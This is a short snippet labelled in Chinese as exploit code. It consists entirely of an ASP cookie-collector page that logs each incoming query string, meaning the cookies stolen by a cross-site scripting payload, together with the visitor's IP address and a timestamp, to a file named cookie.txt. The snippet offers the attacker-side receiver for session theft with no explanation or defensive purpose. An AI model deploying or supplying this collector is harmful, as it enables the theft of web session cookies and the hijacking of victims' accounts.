利用代码:
###################################################
<%
dim getcookie
dim mytime
dim str
getcookie=Request.QueryString
getip=Request.ServerVariables("REMOTE_ADDR")
mytime=now()
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("cookie.txt"),8,True)
str="<-bof||"& mytime & "||" &getip & "||" & getcookie & "||eof->"
file.writeline(str)
file.close
set file=nothing
set fs=nothing
response.write "haha"
response.end
%>
###################################################